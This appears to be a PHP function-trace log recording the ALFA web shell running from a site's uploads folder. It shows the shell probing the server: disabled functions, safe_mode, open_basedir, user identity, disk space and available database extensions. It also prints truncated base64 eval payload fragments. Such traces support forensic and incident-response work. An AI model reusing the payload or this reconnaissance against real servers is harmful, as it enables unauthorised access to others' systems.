7	98	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
6	97	1	0.037391	3509696
6	97	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
6	100	0	0.037421	3509696	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	855	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
6	100	1	0.037450	3509800
6	100	R			TRUE
6	101	0	0.037463	3509728	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	1	'sys_get_temp_dir'
6	101	1	0.037478	3509768
6	101	R			TRUE
6	102	0	0.037491	3509728	sys_get_temp_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	0
6	102	1	0.037507	3509768
6	102	R			'/tmp'
6	103	0	0.037520	3509768	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	3	'\\'	'/'	'/tmp'
6	103	1	0.037536	3509864
6	103	R			'/tmp'
6	104	0	0.037548	3509768	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	1	'/tmp'
6	104	1	0.037569	3509808
6	104	R			TRUE
6	105	0	0.037583	3509736	sys_get_temp_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	0
6	105	1	0.037596	3509768
6	105	R			'/tmp'
6	106	0	0.037609	3509768	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	856	2	'ALFA_TEMPDIR'	'/tmp'
6	106	1	0.037625	3509872
6	106	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	908	_POST['charset'] = NULL
6	107	0	0.037655	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	909	1	'diskfreespace'
6	107	1	0.037670	3509840
6	107	R			TRUE
6	108	0	0.037682	3509800	diskfreespace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	909	1	'/var/www/html/uploads/'
6	108	1	0.037701	3509832
6	108	R			204693016576
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	909	$freeSpace = 204693016576
6	109	0	0.037729	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	910	1	'disk_total_space'
6	109	1	0.037744	3509840
6	109	R			TRUE
6	110	0	0.037757	3509800	disk_total_space	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	910	1	'/var/www/html/uploads/'
6	110	1	0.037773	3509832
6	110	R			232015802368
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	910	$totalSpace = 232015802368
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	911	$totalSpace = 232015802368
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	912	$on = '<span class=\'header_on\'> ON </span>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	913	$of = '<span class=\'header_off\'> OFF </span>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	914	$none = '<span class=\'header_none\'> NONE </span>'
6	111	0	0.037856	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	915	1	'ssh2_connect'
6	111	1	0.037870	3509840
6	111	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	918	$ssh2 = '<span class=\'header_off\'> OFF </span>'
6	112	0	0.037897	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	919	1	'curl_version'
6	112	1	0.037912	3509840
6	112	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	920	$curl = '<span class=\'header_on\'> ON </span>'
6	113	0	0.037938	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	923	1	'mysql_get_client_info'
6	113	1	0.037957	3509840
6	113	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	926	$mysql = '<span class=\'header_off\'> OFF </span>'
6	114	0	0.037984	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	927	1	'mssql_connect'
6	114	1	0.037999	3509840
6	114	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	930	$mssql = '<span class=\'header_off\'> OFF </span>'
6	115	0	0.038025	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	931	1	'pg_connect'
6	115	1	0.038040	3509840
6	115	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	934	$pg = '<span class=\'header_off\'> OFF </span>'
6	116	0	0.038066	3509800	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	935	1	'oci_connect'
6	116	1	0.038080	3509840
6	116	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	938	$or = '<span class=\'header_off\'> OFF </span>'
6	117	0	0.038107	3509800	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	939	1	'disable_functions'
6	117	1	0.038123	3510280
6	117	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6	118	0	0.038148	3509800	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	940	1	'disable_functions'
6	118	1	0.038163	3510280
6	118	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	940	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6	119	0	0.038208	3510248	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	943	1	'safe_mode'
6	119	1	0.038222	3510280
6	119	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	946	$safe_modes = '<span class=\'header_on\'>OFF</span>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	947	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
6	120	0	0.038265	3510248	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	948	1	'open_basedir'
6	120	1	0.038280	3510280
6	120	R			''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	955	$open_b = '<span class=\'header_none\'> NONE </span>'
6	121	0	0.038307	3510248	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	956	1	'safe_mode_exec_dir'
6	121	1	0.038322	3510280
6	121	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	959	$safe_exe = '<span class=\'header_none\'> NONE </span>'
6	122	0	0.038349	3510248	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	960	1	'safe_mode_include_dir'
6	122	1	0.038364	3510280
6	122	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	963	$safe_include = '<span class=\'header_none\'> NONE </span>'
6	123	0	0.038390	3510248	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	964	1	'posix_getegid'
6	123	1	0.038405	3510288
6	123	R			TRUE
6	124	0	0.038418	3510248	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	971	1	'posix_getpwuid'
6	124	1	0.038433	3510288
6	124	R			TRUE
6	125	0	0.038445	3510248	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	971	1	'posix_geteuid'
6	125	1	0.038459	3510288
6	125	R			TRUE
6	126	0	0.038472	3510248	posix_geteuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	971	0
6	126	1	0.038489	3510248
6	126	R			33
6	127	0	0.038502	3510248	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	971	1	33
6	127	1	0.038541	3511080
6	127	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	971	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6	128	0	0.038587	3511048	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	972	1	'posix_getgrgid'
6	128	1	0.038602	3511088
6	128	R			TRUE
6	129	0	0.038614	3511048	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	972	1	'posix_getegid'
6	129	1	0.038628	3511088
6	129	R			TRUE
6	130	0	0.038640	3511048	posix_getegid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	972	0
6	130	1	0.038654	3511048
6	130	R			33
6	131	0	0.038666	3511048	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	972	1	33
6	131	1	0.038695	3511712
6	131	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	972	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	973	$user = 'www-data'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	974	$uid = 33
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	975	$group = 'www-data'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	976	$gid = 33
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	978	$cwd_links = ''
6	132	0	0.038796	3510328	explode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	979	2	'/'	'/var/www/html/uploads/'
6	132	1	0.038813	3510936
6	132	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	979	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	980	$n = 6
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	982	$cwd_links .= '<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= '/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	985	$cwd_links .= '")\'>/</a>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	982	$cwd_links .= '<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= '/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	985	$cwd_links .= '")\'>var/</a>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	982	$cwd_links .= '<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= '/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	985	$cwd_links .= '")\'>www/</a>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	982	$cwd_links .= '<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= '/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	985	$cwd_links .= '")\'>html/</a>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	982	$cwd_links .= '<a class=\'header_pwd\' href=\'javascript:void(0);\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j = 0
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= '/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	984	$cwd_links .= 'uploads/'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	983	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	985	$cwd_links .= '")\'>uploads/</a>'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	981	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	987	$drives = ''
6	133	0	0.039448	3511376	range	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	988	2	'a'	'z'
6	133	1	0.039464	3512776
6	133	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
6	134	0	0.039495	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'a:\\'
6	134	1	0.039518	3512784
6	134	R			FALSE
6	135	0	0.039532	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'b:\\'
6	135	1	0.039550	3512784
6	135	R			FALSE
6	136	0	0.039563	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'c:\\'
6	136	1	0.039579	3512784
6	136	R			FALSE
6	137	0	0.039592	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'd:\\'
6	137	1	0.039607	3512784
6	137	R			FALSE
6	138	0	0.039620	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'e:\\'
6	138	1	0.039636	3512784
6	138	R			FALSE
6	139	0	0.039648	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'f:\\'
6	139	1	0.039664	3512784
6	139	R			FALSE
6	140	0	0.039676	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'g:\\'
6	140	1	0.039692	3512784
6	140	R			FALSE
6	141	0	0.039705	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'h:\\'
6	141	1	0.039720	3512784
6	141	R			FALSE
6	142	0	0.039733	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'i:\\'
6	142	1	0.039748	3512784
6	142	R			FALSE
6	143	0	0.039760	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'j:\\'
6	143	1	0.039776	3512784
6	143	R			FALSE
6	144	0	0.039788	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'k:\\'
6	144	1	0.039803	3512784
6	144	R			FALSE
6	145	0	0.039816	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'l:\\'
6	145	1	0.039832	3512784
6	145	R			FALSE
6	146	0	0.039844	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'm:\\'
6	146	1	0.039860	3512784
6	146	R			FALSE
6	147	0	0.039872	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'n:\\'
6	147	1	0.039888	3512784
6	147	R			FALSE
6	148	0	0.039900	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'o:\\'
6	148	1	0.039915	3512784
6	148	R			FALSE
6	149	0	0.039928	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'p:\\'
6	149	1	0.039943	3512784
6	149	R			FALSE
6	150	0	0.039955	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'q:\\'
6	150	1	0.039971	3512784
6	150	R			FALSE
6	151	0	0.039984	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'r:\\'
6	151	1	0.039999	3512784
6	151	R			FALSE
6	152	0	0.040066	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	's:\\'
6	152	1	0.040087	3512784
6	152	R			FALSE
6	153	0	0.040099	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	't:\\'
6	153	1	0.040114	3512784
6	153	R			FALSE
6	154	0	0.040127	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'u:\\'
6	154	1	0.040142	3512784
6	154	R			FALSE
6	155	0	0.040154	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'v:\\'
6	155	1	0.040174	3512784
6	155	R			FALSE
6	156	0	0.040187	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'w:\\'
6	156	1	0.040202	3512784
6	156	R			FALSE
6	157	0	0.040215	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'x:\\'
6	157	1	0.040230	3512784
6	157	R			FALSE
6	158	0	0.040242	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'y:\\'
6	158	1	0.040258	3512784
6	158	R			FALSE
6	159	0	0.040271	3512744	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	989	1	'z:\\'
6	159	1	0.040286	3512784
6	159	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	991	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
6	160	0	0.040322	3511376	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	998	1	'alfamini'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	160	1	0.040383	3511376
6	160	R			'http://solevisible.com/images/alfamini.png'
6	161	0	0.040403	3519568	showAnimation	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1243	1	'editorClose'
6	161	1	0.040419	3519824
6	161	R			'-webkit-animation: editorClose 800ms ease-in-out forwards;-moz-animation: editorClose 800ms ease-in-out forwards;-ms-animation: editorClose 800ms ease-in-out forwards;animation: editorClose 800ms ease-in-out forwards;'
6	162	0	0.040438	3519568	showAnimation	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1256	1	'editorMinimize'
6	162	1	0.040453	3519824
6	162	R			'-webkit-animation: editorMinimize 800ms ease-in-out forwards;-moz-animation: editorMinimize 800ms ease-in-out forwards;-ms-animation: editorMinimize 800ms ease-in-out forwards;animation: editorMinimize 800ms ease-in-out forwards;'
6	163	0	0.040471	3519568	showAnimation	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1269	1	'editorShow'
6	163	1	0.040486	3519824
6	163	R			'-webkit-animation: editorShow 800ms ease-in-out forwards;-moz-animation: editorShow 800ms ease-in-out forwards;-ms-animation: editorShow 800ms ease-in-out forwards;animation: editorShow 800ms ease-in-out forwards;'
6	164	0	0.040504	3519568	showAnimation	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1282	1	'minimizeShow'
6	164	1	0.040518	3519824
6	164	R			'-webkit-animation: minimizeShow 800ms ease-in-out forwards;-moz-animation: minimizeShow 800ms ease-in-out forwards;-ms-animation: minimizeShow 800ms ease-in-out forwards;animation: minimizeShow 800ms ease-in-out forwards;'
6	165	0	0.040536	3519568	showAnimation	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1295	1	'minimizeHide'
6	165	1	0.040551	3519824
6	165	R			'-webkit-animation: minimizeHide 800ms ease-in-out forwards;-moz-animation: minimizeHide 800ms ease-in-out forwards;-ms-animation: minimizeHide 800ms ease-in-out forwards;animation: minimizeHide 800ms ease-in-out forwards;'
6	166	0	0.040569	3523664	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1386	1	'header_values'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
6	166	1	0.040600	3523664
6	166	R			'#67ABDF'
